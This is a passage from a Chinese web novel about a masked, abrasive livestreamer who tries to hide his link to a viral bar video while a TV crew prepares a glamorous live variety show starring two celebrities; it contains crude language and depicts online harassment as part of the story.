即便不是为了年终奖,张诚心里也只有一个念头——在直播间里让其他人踩死野火这个狗*的贱人!
17. 第 17 章
黄昏时分,逢魔时刻。
天空大片云朵像是被烧起卷的幕布,金红淡紫参杂着碎锦的杂色云朵时而化作人形,时而化作凶兽。
镶嵌着金边似的天色还未完全黯淡,五光十色的霓虹灯已经接二连三的亮了起来。
月色酒吧,顶层。
洋红木的圆拱门上方几盏吊灯微晃,映的下方地毯上的花纹一圈圈的重叠,极大的平层空间也被分隔开来,银棕色的沙发前摆着黑色大理石的桌子,一张面具扔在了上面。
几盏射灯的光影投在上面,廉价的水钻也被这光衬托的像是熠熠生辉的钻石,上头那根略显骚包的羽毛被人弹了弹。
“嗤——”
崔啸揪着面具上的羽毛尖弹了弹随后又捻了捻,“我三岁的侄女都不信灰姑娘了,我踏马的在这倒是捡了只“水晶鞋”。”
郑晖一脸恶寒的抖了抖身上的鸡皮疙瘩。
他丢过去个金色筹码片打在崔啸手上,笑骂道:“拿着你的童话故事赶紧滚,我们要做的是大人才能玩的游戏。”
“诶,怎么说?”王砷推了推眼镜,“现在就在这等?”
“不然呢,不说这小子还欠我六杯酒。”周公子笑着朝着高曜扬了扬下巴,“咱们高少爷现在瞧着还能走起身?”
高曜拧着眉,他手里攥着个什么捏来捏去的,看着有点阴沉沉的不高兴。
“还没找到?”
周公子微微坐直了身子,说起这个事他脸上的神情也有点不爽。
“一帮废物,拿着照片竟然都找不到人。”
可不说呢,就宋枝月以前那个模样,能把两个人当成一个人才是见了鬼。
而酒吧正式一点的工作人员不管是签合约还是别的什么,多多少少都会留下点身份信息,但宋枝月这种“暖场子”的人,只在需要的时候才来,用的着留什么信息?
“孤魂野鬼”似的宋枝月,连直播公司里的人都不知道他的具体住址,酒吧里的人上哪知道去——已经一夜没睡的陈经理,已经疯狂的同张哥共鸣了。
“定位呢?”
王砷笑着摇了摇头,“我的高少爷,就那倒了不知道几手的电话号码,就算要定位,也得这小子接电话才行啊。”
“不管是咱们的人还是酒吧的人打过去,这小子都死活不接。”
这也不行,那也没用,崔啸恼的连连骂了几句,“昨晚抓住这小子不就没事了?”
“艹他**的,都怪那些凑热闹的王八蛋瞎捣乱!”
高少爷抬头看着屏幕上一直重复循环播放的无声视频——
不管是疯狂的挽留还是尖叫欢呼声,这纸醉金迷里的喧嚣,他真的一点也不关心,只昂着头像一阵风似的,随心所欲吹来,又无所畏惧的飞走,不会为谁停留。
你必得紧紧的追着他,挨近了,才能看见风里裹着的火。
熊熊燃烧,不顾一切的燃烧。
懦夫畏惧这炙热滚烫的疯狂,流着泪驻足不前,妄图祈求神明的垂怜。
而狂徒只会越发疯狂,飞蛾似的不顾一切的扑进这团火焰中,拥抱炙热,吞噬光明。
视频末尾里的人眉梢高挑,藏着刀子似的眼神像是要划破屏幕冲出来,斩断所有觊觎他的目光。
对上这视线,狂徒们总会无可自拔的生出些难以抑制的兴奋。
看着屏幕里重新开始奔逃起来的身影,高曜慢慢的笑了起来。
“找到他。”
*
屋里没开灯。
借着外头的亮光,坐在狭小的客厅里,看着手机里的余额,混着维生素,吃着红烧牛肉味泡面的宋枝月,只觉得自己这辈子都有了。
他又一次开始幻想起了自己那个温柔贴心,肤白貌美的大长腿富二代女友。
跑车、钞票、大金链子、小金表......越想越美的宋枝月嘿嘿笑了两声。
“明天就改善伙食。”
“刚出蒸笼,热腾腾还甜滋滋的大馒头夹着辣酱,对,还能多个火腿肠......”哄着自己的宋枝月三两口吃完泡面,收拾了桌子,就去了直播的电脑前。
打开顶灯,宋枝月看着面前的小镜子。
屋子里其他的地方都是昏黑的,在这略显昏黄的灯光下,镜子印出的人都有种“流光溢彩”般的不真实感。
“要是真的......该有多好。”
看着镜子里人影的宋枝月,眼神发怔,呢喃着不由自主的伸手过去想摸一摸。
指尖触摸到冰凉的镜面,宋枝月堪堪回过了神。
他倏地扣倒化妆镜,猛地拉开柜子,从里头取出那张仁和医院的诊断单来。
“野火,你清醒一点!”
宋枝月不停的告诉自己:“幻想自然是按着你最期待的模样生出的想象......你还没彻底疯,你得知道自己是谁。”
“直播,赚钱!”
“直播,赚钱!”
“直播,赚钱!”
“......”
生
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怕宋枝月这个成事不足,败事有余的王八蛋“连线PK”的时候再出什么岔子,张哥和崔老板一合计,两人干脆的选择了最万无一失的激励法子——利诱。
今晚上只要和野火“PK”的主播,期间他们收到的所有礼物和打赏,扣过那些乱七八糟的手续费和分成,剩下的,平台都能分半成给宋枝月。
换句话说,这场直播的效果越好,宋枝月能拿到的奖励也就越多。
再美妙的大饼都抵不过这真金白银的直白保证。
成功压住病情的宋枝月,眼神都坚定了起来。
看了看时间,快到晚上八点了。
宋枝月换了身蓝色的短袖,戴好了口罩,就开始直播。
*
【“野火你个狗贼终于直播了!”】
【“快,快给兄弟们说说,你到底和香蕉台里的哪个大人物做了PY交易?这都没把你从综艺节目里踢出去?!”】
【“是啊,有路子快给兄弟们透透底,野火,到底追了你的直播这么久,有发财的机会带带兄弟啊!!!!”】
【“求求了!”】
【“求求了!”】
【“求求了!”】
【“......”】
求发财的消息是最先喷出来的。
毕竟赶在两个“双子爆炸星”参加这档综艺节目,偏偏其他消息没透露出来多少的时候,第一个显摆合约的宋枝月自然就成了风口。
本来还群嘲野火这个狗逼一定会被节目组踢出去,不想扭头就见节目组在官网上直接官宣了宋枝月定档的消息!
《近距离》的官网都被冲了,但节目组却对“群情激奋”置之不理,只一味的感谢大家的关心。
王导更是亲身二次下场,面不改色的和网友隔着屏幕激情对喷。
......
甭管好坏吧,看看直播时喷涌的弹幕数量和疯狂刷刷进直播间的人,宋枝月笑的眼睛都弯了。
日复一日,夜复一夜坚持不懈的蹭啊蹭,终于让他给蹭成了,哈哈哈哈!!!!
宋枝月这个小王八蛋还嫌不够热闹似的,抬手选了好几首歌。
“好运来,祝你好运来,好运带来了喜和爱。”
“好运来,我们好运来,迎着好运兴旺发达通四海......”
配着这喜气洋洋的背景音乐,宋枝月在直播间里,开始和隔着屏幕恨不能问候他全家的“热心”网友们“激情对麦”。
......
18. 第 18 章
挑高的顶层中垂着顶象牙白的吊灯,一盏一盏灯亮起,柔和的光倾泻在咖啡灰的地板上,通透又高挑的落地窗外,S市最繁华的外滩夜景尽收眼底。
不知不觉间外面下起了细雨。
刚刚健身完冲了澡的桑醒脖间搭着条毛巾下来,就见仰躺在沙发上的人闭着眼,似是睡着了。
桑醒将中央空调的温度微微调高了些,走过去时,就见丢在桌上的手机震动了一下。
“叮咚~您关注的主播已开启直播。”
“嗯?”
枚少阳睁开了眼,他拿起手机看了看,随后笑的十分阳光的朝不远处的桑醒晃了晃。
“哟,哥,那个野火开播了。”
见枚少阳对那个四处乱蹭的小主播还是一副兴趣不减的模样,桑醒打开投影,陪着枚少阳一起看了起来。
结果刚点进去,就见顶着“歘日野火你大哥”名头的主播,正在同网友们激情开麦——
“哈哈哈。”
隔着屏幕都能听见“蹭道大成”的宋枝月畅快的笑声。
“哦哟哟哟,节目组不选你“歪嘴战神”转世的giegie,自然是因为我更会歪嘴啊。”
清楚一旦上节目,自己名声臭完了的宋枝月,毫不犹豫的火力全开。
反正黑红也是红,他是誓死一条道走到黑了。
而四处“蹭饭”的宋枝月,头发也养成了,今晚上他就是按着那个顶流出圈“红图”给自己抓的发型。
【“你个**的野狗你是没完了是吧?”】
【“就逮住我们青哥一个人薅羊毛!”】
【“连发型都偷,你个**的野狗你XX!】
破防的弹幕是花了钱加粗的,随之而来的还有疯狂“啪啪”砸向野火的臭鸡蛋......绿江直播平台上其他的主播收到的礼物不是什么小花花,就是糖果或者是游艇嘉年华。
而专挑“崎岖小路”,只走歪门邪路的宋枝月,直播收入有很大一部分是靠着卖“臭鸡蛋”和“臭便便”撑起来的。
他的直播平台,更像是所有人负面情绪的宣泄地。
眼见“青姐姐”的粉丝开场就破防,弹幕里的其他乐子人不阴不阳的开始拱起了火。
【“恭喜,恭喜,野火这个狗逼那是谁红蹭谁,他既然愿意蹭,那就说明“青姐姐”的造型多红啊。”】
【“不行,我笑的要死,你没见连野火这个狗贼都嫌弃,不愿意蹭的那个名场面(指路视频)。”
【“哈哈哈,野火都不愿意捡的剩饭,那是真的凉凉啊。”】
观看宋枝月直播的乐子人,那是什么成分的都有。
有誓死守护giegie,恨不能和他大战八百回合的真爱粉,有黑粉,有披皮黑,还有串串粉......反正弹幕里堪称乌烟瘴气,群魔乱舞。
撕的最厉害的时候,在宋枝月这个钻进钱眼王八蛋的直播间里,发条弹幕都是要充值需要有粉丝值的。
挨了臭鸡蛋的宋枝月也不恼,只笑呵呵的道:“感谢青姐的臭鸡蛋开场,升官发财,升官发财啊。”
暗地里关注直播的张诚,眼看宋枝月的直播间又像脱缰的疯马似的奔着“深渊”头也不回的去了,急的直跺脚,只得拼命的给宋枝月发消息让他赶紧开始连线“PK”。
今晚上没怎么发挥功力的宋枝月只能颇感遗憾的收了神通,开始了今晚的“PK”打榜。
直播的时候,宋枝月一直没蹭过女明星的热度。
毕竟他又不走颜值赛道,路子又这么野,弹幕里更是什么牛鬼蛇神的都有。
但凡说点不合适的,都可能造谣擦边、涉黄、律师函一条龙服务。
而今晚的直播“PK”的人选,张哥也是下了功夫的。
女主播公然宣称是某某当红男明星的粉丝其实有点危险,稍不留神就容易被男明星的脑残粉给冲了。
所以干脆就都搞成男主播。
他们打着桑醒、戚敖这类明星粉丝的旗号反倒更好哄得真粉丝充钱。
野火这个主播的名头本来就够讨人嫌的,加上对面还有“明星粉丝”的光环,宋枝月被对面连线“PK”的主播按在地上揉搓,真正的毫无还手之力。
一连PK了六场,宋枝月场场都输的极为惨烈。
后台时刻关注的张哥笑的合不拢嘴,只觉得今晚上稳了。
已经输红眼的宋枝月输人又挨罚。
观众嫌他跳的舞辣眼睛,更不喜欢他跑到山路十八弯的歌喉,于是一个比一个阴损的撺掇着“体力活”。
又一次开始俯卧撑的宋枝月,两条胳膊都有些抖,他龇牙咧嘴的硬撑了下来。
等哼哧哼哧的费劲做完,宋枝月喘着气的坐回了位置上。
他也顾不上什么发型了,只伸手撸了一把汗湿的头发,就这么昂着头靠在了椅子上,懒洋洋的睨了一眼弹幕。
忽的,一条弹幕忽的弹了出来。
【诶,这个角度,你们有没有觉得野火很像一个人啊?”】
【“我也是!我也是这种感觉!”】
【“我一直翻开手机,我就是在哪见过!”】
【“啊啊啊,姐妹们,我知道!就是那个,就是那个月色哥啊啊啊!!!!”】
因着视频里酒吧的名字就是月色,而那个回眸人影宛若惊鸿一瞥的明月孤影,之后再了无踪迹,像极了让人念念不忘的白月光。
月色哥就成了视频里人影的代称。
这称呼,俗气是俗气了些,但全网却没一个人反对。
这些日子,网上的这些人跟疯了
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一样的扒拉着蛛丝马迹,偏偏一个个的都似是而非,有网红蹭这个名头还被群嘲到狼狈下播。
看着弹幕开始疯狂刷起来,宋枝月心里突突突的开始跳了。
那个视频他也刷到了......就那小半张脸,还主要拍的是眼睛,不细看宋枝月甚至都不觉得是自己。
但看拍摄的时间,显然就是他吃了酒,在酒吧乱窜大闹的时候。
他一直觉得自己藏得好好的,节目组那也没找他麻烦......
这会儿直播间里已经顾不上什么桑醒或者什么戚敖,还有什么所谓的“PK”了,所有的弹幕都在齐刷刷的发着“月色哥。”
想想那天价违约金,宋枝月握着鼠标的手都有些止不住的抖。
他已经那么得罪那个导演王光头了,这要是被抓住违约,他要怎么赔?!
宋枝月离着屏幕远了些,尽量镇定的开始打着哈哈。
“哈哈哈,你们说的踏马的什么月色哥啊,这娘里娘气的名字真难听。”
不想宋枝月的这话说完,整个直播间瞬间炸了。
【“老天爷,这是太阳打西边出来出来了,野火不蹭了诶?!!!”】
【“野火,那条热门视频你肯定看了!”】
【“要是没鬼,你肯定恨不能死死的贴着这事“蹭热度”!”】
【“家人们,野火这反应正常吗?!”】
【“不正常!!!!”】
【“不正常!!!!”】
虽然也有理智的观众,发着类似于野火真要长这个模样,那不得早早的跳出来圈钱的弹幕......但沾着那个让人念念不忘近乎发疯的月色,“福尔摩斯”们的集体高潮显然已经来势汹汹,势不可挡。
【“那个视频我都盘包浆了,放大八倍看,和野火的眉型近乎一模一样!”】
【“谁知道野火长得什么模样?”】
【“他从直播开始就戴口罩了。”】
不等宋枝月松口气,就又见有人兴奋的发着弹幕。
【“现在能用AI对比识图了,兄弟们等我试一试,只要对准主播的面部轮廓就能......”】
弹幕里的你一言,我一语的推断,无异于对着宋枝月现场开膛破肚,凌迟处死。
紧张到缺氧的宋枝月,看着要开始AI识图的那条弹幕,脑子一抽,手比脑子更快直接关了电脑。
!!!
看着黑屏印出的影子,反应过来自己干了什么蠢事的宋枝月,眼神呆滞的呆呆坐在电脑前。
结果片刻喘息的功夫都没给他,桌上震动的手机就和连环夺命刀似的响了起来。
“滴滴哒哒,张哥来电话了。”
“滴滴哒哒,张哥来电话了。”
......
19. 第 19 章
老旧出租房内,只有小卧房的灯亮着,屋外下着十分应景的雨。
雨声渐大,噼里啪啦的砸在窗上,那真是风也潇潇,雨也凄凄。
“滴滴哒哒,张哥来电话了。”
“滴滴哒哒,张哥来电话了。”
偏偏这凄风苦雨的悲凉氛围里,还夹杂着催命似不断响起的电话铃声,声声震的宋枝月脑仁跟着一跳跳的胀痛。
想着伸头缩头都是一刀。
更何况张哥都知道他现在住在哪......横竖躲不过去的宋枝月,咬咬牙还是接通了电话。
“野火!!!!!”
只听张哥恨不能从手机里爬出来手撕宋枝月的震耳吼声,就知道张哥这会儿能有多愤怒了。
张诚那个气啊。
野火这个王八蛋,这么掉链子已经不是一次两次了。
所有两全其美的好事!
所有人费尽心思的打算!!
甭管反复斟酌多完美的计划,甭管反复保证了多少次......只要碰到野火这个傻*,这个棒槌,这个狗贼,它就能活活搅合变成一坨烂汤。
每次在你最放心的时候,野火这个狗日的冷不丁就会□□一刀!
这个该遭天打雷劈的王八蛋,怎么不被砸死?!
还说自己是神经病,呵,张哥都要被气的精神病发作了。
要不是这场大雨,张哥这会儿都已经抓着车钥匙杀到野火住处了。
已然气到脸色爆红,脖颈间更是青筋暴起的张诚,对着电话那头的宋枝月破口大骂。
“艹你XX的**,你个XX的王八犊子!”
“你他XX的发的什么疯?!”
“你知不知道你现在直播间的热度有多高?”
“你踏马的死皮不要脸到处蹭,蹭八辈子都蹭不了一两回。”
“咱们公司里这么多人为这事折腾,这么多人都看着,平台也一直在拼命给你推送,你倒好,吭都不吭的一声就下播了?”
“你个王八蛋就是坨狗屎,烂泥扶不上墙!”
当真是气短三分又格外心虚的宋枝月,这么被骂的狗血淋头,也只是唯唯诺诺的应着声。
疯狂发泄了一通的张诚,拼命忍住其他连绵不绝的脏话。
他深吸了一口气,咬牙切齿给宋枝月下了通知。
“你现在,立刻,马上给我上播!”
“张哥,我,我屋子里停电了......可能是没交电费,也,也可能是下雨,电闸跳了......”
宋枝月极力找个借口推脱。
直播了这么长时间,宋枝月或许不了解别人,但还能不了解那群成日里追着他全家不间断“关心问候”,恨不能对他“掏心掏肺”的热心网友吗?
他和香蕉台综艺节目签约的事,已经闹得人尽皆知。
节目组之前多多少少也拿他综艺上首次露脸的事当个噱头......
人在干坏事的时候,是最不觉得累的。
只要是能让他“野火”出丑或吃瘪的事,无论费多大的劲,这些热心的观众老爷们都绝对不会放弃的。
这个状态上播是绝对不行,宋枝月自问绝对扛不住他们的“追杀”。
想到那笔天价违约金就痛不欲生,生不如死的宋枝月,咬死了也不愿意这会儿上播。
已经被宋枝月这个缺德玩意儿气到大脑缺氧的张诚,反倒躺平了。
是真的躺在椅子上的那种。
气过头后张诚反倒笑了起来。
他也不想跟野火这个天杀的死狗再纠缠下去短命夭寿了。
“行,行,野火,你能耐。”
“我等着你明天的直播。”
“要是再出幺蛾子,你这辈子都别想和平台续约!”
放完狠话的张诚直接挂了电话,十分解气的将手机往桌上一扔。
“野火。”
“嘿,我且等着看你这废物在节目里到底能落个什么下场。”
“你就作吧,人贱自有天收。”
十分上心“明星粉丝效应”这种新直播模式的崔老板,显然也关注着今晚的直播。
而弹幕里的那阵“月色哥”的推断,更让崔老板抓心挠肝的惦记了起来。
于是还骂骂咧咧的张哥在接到崔老板的信息后,立即换了一副嘴脸。
“老板放心,是,当初野火签约时候留的证件照还在呢。”
“前几天我才刚刚翻出来又仔细看了一遍。”
“哈哈哈,就野火这三分姿色都没有,平凡的都像种罪的玩意儿,能是什么“月色哥”?”
“这小子眼睛钻进钱眼里拔都拔不出来,他倒是巴不得自己真是“月色哥”呢。”
......
在这个每天都有成百上千“碎片''信息疯狂冲击的时代,对着网上一个惊鸿一面后就杳无音信,甚至不知真假的人能惦记多久?
没人知道。
或者说常人不行。
但在“神明垂爱”奇迹般降临后......却可以。
沾着那个让人反复惦记,求而不得“月色哥”的光,野火又双叒一次登顶热搜榜了。
#野火,月色#(爆)
#野火,近距离综艺露脸#
#扒一扒知名臭嘴野火蹭过的流量当红明星,不红还不蹭#
野火这波作死似的“登月”碰瓷,很快就引起了一大波“月色”粉的反感。
而能一直活跃在野火那个乌烟瘴气,群魔乱舞堪称“养蛊粪坑”似的弹幕群里的观众,哪个是善茬?
激动的近乎一整晚没睡的”福尔摩斯”们早上起来依旧激情不减,隔着屏幕和其他人开始疯狂互撕了起来。
这场轰轰烈烈的撕逼闹剧,在神通广大的网友扒拉出野火第一次直播时还没戴口罩的模样后,暂且终止了。
刚开始直播试水的宋枝月,只是摸索着打打游戏,试着和网友聊聊天,暂时还没走上“歪门邪路”,自然还没遮遮藏藏的见不得人。
他对着镜头打招呼的时候,还是有些腼腆青涩的模样。
不出意外的,宋枝月被“月色”的热度反噬了。
毕竟在高高的吊起所有人的胃口后,却没有满足期待的幻想,没有达到人们心里的预期后,那么丑或者平凡都成了一种原罪。
而《近距离》这档节目有多火热?
为着这个综艺节目的名额,内娱内但凡有点念想的明星,那是都恨不能施展十八般武艺登上去。
野火算哪门子的葱?
他的这个“丑角”,多的是人红着眼挤破头争着抢着去做。
所以趁着这次“网暴”,明里暗里都有无数人暗暗施力,想先把野火踢出去,空出一个名额来。
当这场波及甚广的网络情绪被煽动起来的时候,谁也不能幸免。
不知道到底是什么‘底色''的粉丝被裹挟着冲烂了《近距离》的节目官网,包括桑醒的工作室和戚敖的经纪公司,大家拼命抵制他们和野火这种“蹭”出来的烂人一起直播。
这场“网暴”持续近三个小时后,《近距离》节目组的公告是最先发出来的。
平台官网上先是感谢了一通大家的关注和支持,然后立马拿出和“野火”早早就签订好的合约,节目组用不愿言而无信随意毁约的说辞,站在了道德的制高点。
紧接着,桑醒的工作室就出了视频。
视频是桑醒本人录制的。
他十分诚恳的首先感谢粉丝朋友们一直以来的支持,随后说他这几年不是拍电影就是拍电视剧,这次也是想借着直播综艺,和一直支持他的粉丝朋友们互动。
接着桑醒还拿出了合约,明确露出了签约时间,表示他接下这档综艺,确实是在节目组签约“野火”这个直播博主之后的事。
而戚敖经纪公司的声明也没耽搁多久。
就戚敖的那个鲜明的个性,也不会多拐弯抹角,直接说因为这是国内首档户外大型直播类型的综艺,节目组也很有诚意,再三邀请,所以接受了这个邀约,期待到时候和大家见面。
*
尽管如今在内娱,翻脸不认人,趁势毁约的事屡见不鲜。
但明面上,谁也不会支持这种无故毁约的行为,即便是对烂人烂心刻薄嘴臭的野火。
因而节目组和桑醒、戚敖这快速反应有理有据的接连几场声明,总算压下这来势汹汹的“网暴”。
在所有人为这场“风暴”忙的焦头烂额的时候,宋枝月也在忙。
他忙着干什么?
忙着染头发。
是的,你没听错,在这个节骨眼上,宋枝月又在想办法折腾他的头发。
毕竟已经对自己外貌绝望,完全不抱任何希望的宋枝月不怕折腾。
他只怕被人认出来。
但晒,他是晒不黑了。
甚至还踏马的越晒越刺疼的脱皮,越脱皮越白的像个“娘炮”,还掉毛!!!
偏偏直播也
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不能停,毕竟他还想和公司续约,再加上这热度能带来的真金白银,宋枝月也实在舍不得放弃的。
脸已经遮的够严实了。
想来想去,宋枝月就只能染头发了。
对,就是换发型都不怎么保险,干脆染头发!
到时候发色一改,衣裳一换,口罩也换个新的样式整个宽一些的,直播的时候再搞点眼影涂上,他就不信什么AI能超神到这个地步。
只要不被当场锤死,在网上堪称“三皮脸”的宋枝月就能来个死不认账!
打定主意的宋枝月,毫不犹豫进了间理发店。
“帅哥,这边坐。”
接待宋枝月的是个说话声音都很温柔的小姐姐。
宋枝月没急着坐,而是先十分谨慎的问道:“你们这染头发多少钱?”
理发店的小姐姐下意识先看向了宋枝月和他小狼尾的发型。
因着昨夜里下过雨,宋枝月戴好口罩出门的时候,还顺手套了一件灰蓝色的外套。
穿的简单,人就不简单。
通身冷白的发靓,睫毛颤长,眼尾像是被细细勾勒拉长的缱绻情丝......半癫不癫的宋枝月身上总是带着点抓眼的劲儿,但他又说着不太符合他这个,这个无法言述劲儿的抠搜话。
就是这种明明近距离接触却又介于真实和虚幻的真空感,格外让人不上不下,总想离得近些,好把他瞧得更真切些。
半天没得到回应的宋枝月,蹙着眉瞄了一眼小姐姐胸前别着的工作牌。
“Aenlin,额,应该是这么称呼的吧?”
线下面对真人的宋枝月还挺客气。
“Aenlin小姐,在你们这染头发多少钱?”
回过神的Aenlin先对着宋枝月连连道歉。
随后她看着宋枝月乌黑发亮的头发,忍不住有些可惜的道:“先生,您的头发这么黑,需要多漂洗几遍才好上色,您......”
“没事。”宋枝月摇了摇头,十分无所谓的道:“能染上色就行。”
Aenlin只得拿出个册子,翻开套餐类型送到宋枝月的眼前。
“染发的套餐就是这些,有188,288......”
“有再便宜些的吗?”
“抱歉先生,这个确实,确实都是明码实价。”Aenlin说道:“这条街上的理发店,我们这真的算实惠了。”
一百多块钱和几十万的违约金,宋枝月还是分得清轻重的。
他一边嘀嘀咕咕的恼恨那个偷拍了他又发在“快音”上的人,一边忍着计划外不合理花销的心痛,选了个188的套餐。
在反复确认不会有其他多余的收费后,宋枝月才老实的躺在了洗发床上。
......
S市
从早上一睁眼就开始为着网络上的那场“风暴”忙活,这会儿又挂了制片电话的王导演深深吸了一口烟。
他吐着烟圈,半晌,摇了摇头。
“不能在让野火这么折腾了。”
高编剧闻言却是一笑,打趣道:“当初您这不就是看上了野火直播的折腾劲吗,这会儿难不成怕了?”
难得的,王导都有些感慨的承认了下来。
“不怕不行啊。”
“咱们节目筹备开始到现在,他统共就两场直播,就两场,闹出这翻天的动静......”
不得不说野火在坏事上的天赋简直堪称天赋异禀,超乎寻常。
第一场直播,直接惹得全网开始抵制《近距离》这个综艺节目。
第二场,逼得整个节目组和受邀嘉宾集体发声明。
要是搁之前王导巴不得赶紧把野火从节目踢出去的那阵,他自然恨不能煽风点火,顺遂“民意”将这个搅屎棍赶走。
但现在不行。
一贯都想方设法没爆点也要造热点,只恨不够吸引眼球的王导,破天荒的希望能少些波折,让野火能平平安安,顺顺利利的登上这档节目。
想着这些的王导摸着光头,嘿嘿的自嘲笑了起来。
“也是邪门,嘿,当年第一次在电视台挑大梁的时候,我都没这么患得患失过。”
“得了,我也是怕了他了。”
生怕野火再折腾出什么乱子,真搅黄了事的王导直接拍板了。
“现在这热度已经够够的了。”
“直接叫人来吧,咱们开始拍摄节目!”
.......
20. 第 20 章
XX卫视
广电大厅三楼**项目筹备部。
还是走廊中间那个熟悉的办公室。
自王导拍板《我和X明星的近距离接触》这档直播综艺要开播后,整个项目部的人员都动了起来。
今儿算是开拍前最后一次的动员了。
一贯不怎么抽烟的冯制片都忍不住点了根烟。
而一旁的张帆远还在看策划书。
说真的,不管看过多少次,每次看他脑壳都一抽抽的疼。
“老王,虽然耿台说过这次拍摄是“不计代价”,可你这也太......”张帆远咂咂嘴,“你这可是把咱们电视台的“家底”一次砸上了啊。”
这世上到哪都避不开人情世故。
虽然上头的领导说的确实是“不计代价”,但底下的人,哪能真照着这话“卯粮卯吃的干”?
说的难听点,这次敢这么干的王导演也算是压上了他入行以来攒下的人情和体面。
但凡出点岔子,甚至是没有做到让人十二分的满意,他八成落得个雪藏的结局。
“得砸啊。”
吐着烟圈的王导演颇有些感慨。
“从入行端这饭碗的时候,我就一直盼着能有一次这样的机会。”
“人这辈子能有几次做赢家的机会?”
王导演摇摇头:“不会再有下次了。”
说罢,王导演扭头看着张帆远,挤眉弄眼的笑道:“更何况,就凭那两位大明星的名头,咱们这档综艺节目还能缺了赞助商?”
“诶,我可听说了啊,咱们台里招商部的那些人,这些日子可是走路带风呐。”
“咳咳咳。”这话听的冯制片连连咳嗽了一通,随后他在烟灰缸里按灭了烟头。
“不是我说你,老王,你好歹也算是大导演了,就不能换点好烟抽?”
“嘿。”王导演摸了摸自己的光头,却没有再说其他的。
“咱们言归正传。”冯制片拉过了策划书翻了翻。
“老王,现在的观众口味刁钻的很,又喜欢看那些明星接地气的样子,或者说被折腾的时候,这些年流行的综艺可都是这么搞得。”
“你这又是出国,又是飞机,又是豪车,又是水上花园的星级酒店,除了跟着的摄影组甚至还有航拍、无人机追踪拍摄......这阵仗弄的像好莱坞大片似的,能行吗?”
王导演眯着眼哼笑了一声。
“是啊,那些接地气综艺可不是很行?”
“嘴上说着接地气,这个搞上个农家乐,那个搞出个穷游,偏偏一个个明星在里头活像是“神仙下凡”体验平民生活来了。”
“拍这玩意儿不是不行,按着原来计划的那些嘉宾就行。”
只看一开始请“野火”这个臭名昭著的臭嘴主播“祭天”,就能知道王导之前到底什么打算了。
就光靠“歪嘴战神”、“12345”、“扭腰抱不起”,再随便多个流量明星,加上嘴贱至死的野火,王导演都能保证只凭纯粹的“火药味”把节目搞得红红火火。
“四个人能建一百八十个群”的热闹,扯头花似的狂野撕逼,奔着臭名的热搜闹得腥风血雨......很符合香蕉台一贯的风格。
它会是合格的“刺激重口味快餐式”综艺,但也会很轻易就被其他新奇的热闹取代,绝对不会成为让人念念不忘的综艺“白月光”。
就像王导演此刻说的:“咱们真正想拍的是什么?”
“是和X明星的近距离接触。”
“要给观众什么样的体验?”
“是第三视角下近距离接触一场五彩斑斓,星光熠熠的美梦。”
“我就要纸醉金迷似得富丽堂皇......咱们国内什么样的豪宅庄园没有?但借不借的忌讳也多,万一被网友扒出来个什么不妥,更是天大的麻烦,干脆先放在外头大干一场。”
“现在这世道,大家伙儿已经活的够辛苦了,消消停停看点高兴的,哪怕只是足够的视觉感官愉悦呢?”
“即便不是恨不能张张截图,幕幕舔屏,夜里睡觉的时候,也能回味着嘿嘿笑一声就够了。”
即便对王导没信心,但只听他星光灿烂的描述......有桑醒和戚敖的粉丝托底,这档综艺也不会烂到哪去。
冯导演点点头。
“老王,导演综艺的事,说到底你在行,我和老陈这个行外人也不多指手画脚了。”
“但咱们也合作这么多年了,老王,趁着现在还没开始拍摄,我只最后再问你一次,是不是不改了?”
“不改了。”
“行,咱们就开始吧。”
......
《我和X明星的近距离接触》正式开播了!
霎时间,这档综艺的消息铺天盖地的疯狂蔓延开了。
无论是手机推送还是各大地铁站、公交站的广告都是关于这档综艺的消息。
宣传视频中错落有序一闪而过的图片里有豪华的庄园,甚至庄园外就是阳光下蓝的像宝石般的湖泊、飞驰的豪车、和平鸽盘旋飞舞的西洛广场.......让人目不暇接的灿烂场景后是一句邀请。
“周六晚上七点,《我和X明星的近距离接触》与您不见不散。”
周六和周日显然是综艺类型节目的黄金档,而《近距离》相当自信的将直播时间也选在了这个时间段。
周二和周三会播放节目的花絮,而周五将会播放由直播剪辑成的综艺节目。
这次《近距离》直播综艺的第一站拍摄地点是M国,圣西都。
为着直播效果,节目组还特意考虑了时差问题,国内晚上七点的时候,正好是M国的晚上六点,时差影响不大。
而直播的话,香蕉台自己就有相关的视频APP,就叫做香蕉APP。
从定档综艺直播时间开始,这款APP的下载次数就迎来了堪称恐怖的疯狂增加。
现在只要打开APP,淡蓝色首页最上端就是《我和X明星的近距离接触》宣传栏。
点击进去就是直播间的窗口,因着还没开播,一直是预告片。
周六,才到中午就已经不断有人点击直播入口。
而赞助这档综艺节目的广告有多夸张?
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晚上六点半的时候,直播间就开启了,甚至直接就开始播放起了广告。
而因着弹幕功能的开启,无数的粉丝就在一边播放着广告,一边刷刷的发着弹幕。
桑醒的粉丝昵称叫“小行星”,应援色是“紫微星”的紫色。
而戚敖的粉丝用的是“嗷呜”的谐音,叫做“小虎团”,应援色是金色。
屏幕上密密麻麻的紫色和金色交织。
还没调整直播弹幕设置的,整个画面都被这两种弹幕的颜色盖住了。
再怎么想赚钱,节目组的吃相也不敢太难看,所以一开始就直接关闭了直播间的打赏功能。
能送花,送花是免费的,但只能是APP的VIP用户才能送,甚至每个账户,每天只能靠着签到领一朵小红花。
从直播间开启后,这场紫金色交织的疯狂就没有停,偶尔只能看见其他零零散散的弹幕,是关于这场直播综艺其他嘉宾的猜测。
没错,该有的“诱饵”有了以后,其他的嘉宾,节目组选择了留下悬念进行保密。
当然,提到嘉宾的弹幕里也少不了有最近频频蹭到“热搜”的野火。
【“终于等到这一天了,我等着看野火那个鬼鬼祟祟的孙贼的是个什么怂包样。”】
【“这个到处蹭剩饭的野狗还敢嘴贱,我家旭宝就是在泥塘里打个滚,都比他这个烂人好看一万倍!!!”】
【“哈哈哈,咱们那位顶流的粉丝团可是放了话,说野火敢露面就干死他,嘿,兄弟你在不?”】
不想还真有青色弹幕接了话。
这位也是人狠话不多,就言简意赅一个字。
【“干!”】
*
鑫晨娱乐直播公司
办公室内投影大屏幕上,赫然也是《近距离》直播间的广告。
崔老板和张诚还有其他几个经理都在。
直播行业半只脚踏着娱乐圈的边,业内出现这种流量爆炸,热度超标的节目,自然也不能错过。
再看看野火在节目里是个什么效果,商量一下他还有没有签约的价值。
本来吧,张哥是想作为助理跟着野火去这档综艺,好好拓宽一下人脉的。
但王导偏偏将拍摄地点选在了国外。
节目组也不是冤大头,只负责参与节目嘉宾的食宿花销,嘉宾自己带的其他助理什么的一概不管。
你说让宋枝月给张诚出这个钱?
哈哈哈,笑笑算了。
